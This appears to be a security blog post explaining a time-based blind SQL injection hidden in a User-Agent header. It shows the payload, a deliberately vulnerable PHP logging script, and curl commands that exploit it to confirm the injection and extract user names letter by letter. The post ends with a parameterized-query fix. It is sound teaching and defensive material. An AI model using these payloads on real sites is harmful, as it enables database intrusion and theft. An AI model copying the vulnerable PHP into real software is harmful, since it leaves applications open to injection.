From time to time a customer writes in and asks about certain requests that have been blocked by the CloudFlare WAF. Recently, a customer couldn’t understand why it appeared that some simple GET requests for their homepage were listed as blocked in WAF analytics.
A sample request looked liked this:
GET / HTTP/1.1 Host: www.example.com Connection: keep-alive Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (compatible; MSIE 11.0; Windows NT 6.1; Win64; x64; Trident/5.0)'+(select*from(select(sleep(20)))a)+' Accept-Encoding: gzip, deflate, sdch Accept-Language: en-US,en;q=0.8,fr;q=0.6
As I said, a simple request for the homepage of the web site, which at first glance doesn’t look suspicious at all. Unless your take a look at the
User-Agent header (its value is the string that identifies the browser being used):
Mozilla/5.0 (compatible; MSIE 11.0; Windows NT 6.1; Win64; x64; Trident/5.0)'+(select*from(select(sleep(20)))a)+
The start looks reasonable (it’s apparently Microsoft Internet Explorer 11) but the agent strings ends with
'+(select*from(select(sleep(20)))a)+. The attacker is attempting a SQL injection inside the
It’s common to see SQL injection in URIs and form parameters, but here the attacker has hidden the SQL query
select * from (select(sleep(20))) inside the
User-Agent HTTP request header. This technique is commonly used by scanning tools; for example, sqlmap will try SQL injection against specific HTTP request headers with the
You are getting very sleepy
Many SQL injection attempts try to extract information from a website (such as the names of users, or their passwords, or other private information). This SQL statement is doing something different: it’s asking the database that’s processing the request to sleep for 20 seconds.
This is a form of blind SQL injection. In a common SQL injection the output of the SQL query would be returned to the attacker as part of a web page. But in a blind injection the attacker doesn’t get to see the output of their query and so they need some other way of determining that their injection worked.
Two common methods are to make the web server generate an error or to make it delay so that the response to the HTTP request comes back after a pause. The use of
sleep means that the web server will take 20 seconds to respond and the attacker can be sure that a SQL injection is possible. Once they know it’s possible they can move onto a more sophisticated attack.
To illustrate how this might work I created a really insecure application in PHP that records visits by saving the
User-Agent to a MySQL database. This sort of code might exist in a real web application to save analytics information such as number of visits.
In this example, I’ve ignored all good security practices because I want to illustrate a working SQL injection.
BAD CODE: DO NOT COPY/PASTE MY CODE!
Here’s the PHP code:
<?php $link = new mysqli('localhost', 'insecure', '1ns3cur3p4ssw0rd', 'analytics'); $query = sprintf("INSERT INTO visits (ua, dt) VALUES ('%s', '%s')", $_SERVER["HTTP_USER_AGENT"], date("Y-m-d h:i:s")); $link->query($query); ?> <html><head></head><body><b>Thanks for visiting</b></body></html>
It connects to a local MySQL database and selects the
analytics database and then inserts the user agent of the visitor (which comes from the
User-Agent HTTP header and is stored in
$_SERVER["HTTP_USER_AGENT"]) into the database (along with the current date and time) without any sanitization at all!
This is ripe for a SQL injection, but because my code doesn’t report any errors the attacker won’t know they managed an injection without something like the sleep trick.
To exploit this application it’s enough to do the following (where
insecure.php is the script above):
curl -A "Mozilla/5.0', (select*from(select(sleep(20)))a)) #" http://example.com/insecure.php
This sets the
User-Agent HTTP header to
Mozilla/5.0', (select*from(select(sleep(20)))a)) #. The poor PHP code that creates the query just inserts this string into the middle of the SQL query without any sanitization so the query becomes:
INSERT INTO visits (ua, dt) VALUES ('Mozilla/5.0', (select*from(select(sleep(20)))a)) #', '2016-05-17 03:16:06')
The two values to be inserted are now
Mozilla/5.0 and the result of the subquery
(select*from(select(sleep(20)))a) (which takes 20 seconds). The
# means that the rest of the query (which contains the inserted date/time) is turned into a comment and ignored.
In the database an entry like this appears:
+---------------------+---------------+ | dt | ua | +---------------------+---------------+ | 0 | Mozilla/5.0 | +---------------------+---------------+
Notice how the date/time is
0 (the result of the
(select*from(select(sleep(20)))a)) and the user agent is just
Mozilla/5.0. Entries like that are likely the only indication that an attacker had succeeded with a SQL injection.
Here’s what the request looks like when it runs. I’ve used the
time command to see how long the request takes to process.
$ time curl -v -A "Mozilla/5.0', (select*from(select(sleep(20)))a) #" http://example.com/insecure.php * Connected to example.com port 80 (#0) > GET /insecure.php HTTP/1.1 > Host: example.com > User-Agent: Mozilla/5.0', (select*from(select(sleep(20)))a) # > Accept: */* > < HTTP/1.1 200 OK < Date: Mon, 16 May 2016 10:45:05 GMT < Content-Type: text/html < Transfer-Encoding: chunked < Connection: keep-alive < Server: nginx <html><head></head><body><b>Thanks for visiting</b></body></html> * Connection #0 to host example.com left intact real 0m20.614s user 0m0.007s sys 0m0.012s
It took 20 seconds. The SQL injection worked.
At this point you might be thinking “that’s neat, but doesn’t seem to enable an attacker to hack the web site”.
Unfortunately, the richness of SQL means that this chink in the
insecure.php code (a mere 3 lines of PHP!) lets an attacker go much further than just making a slow response happen. Even though the
INSERT INTO query being attacked only writes to the database it’s possible to turn this around and extract information and gain access.
As an illustration I created a table in the database called
users containing a user called root and a user called
john. Here’s how an attacker might discover that there is a
john user. They can craft a query that works out the name of a user letter by letter just by looking at the time a request takes to return.
curl -A "Mozilla/5.0', (select sleep(20) from users where substring(name,1,1)='a')) #" http://example.com/insecure.php
returns immediately because there are no users with a name starting with
curl -A "Mozilla/5.0', (select sleep(20) from users where substring(name,1,1)='j')) #" http://example.com/insecure.php
takes 20 seconds. The attacker can then try two letters, three letters, and so on. The same technique can be used to extract other data from the database.
If my web app was a little more sophisticated, say, for example, it was part of a blogging platform that allowed comments, it would be possible to use this vulnerability to dump the contents of an entire database table into a comment. The attacker could return and display the appropriate comment to read the table's contents. That way large amounts of data can be exfiltrated.
Securing my code
The better way to write the PHP code above is as follows:
<?php $link = new mysqli('localhost', 'analytics_user', 'aSecurePassword', 'analytics_db'); $stmt = $link->prepare("INSERT INTO visits (ua, dt) VALUES (?, ?)"); $stmt->bind_param("ss", $_SERVER["HTTP_USER_AGENT"], date("Y-m-d h:i:s")); $stmt->execute(); ?> <html> <head></head> <body><b>Thanks for visiting</b></body>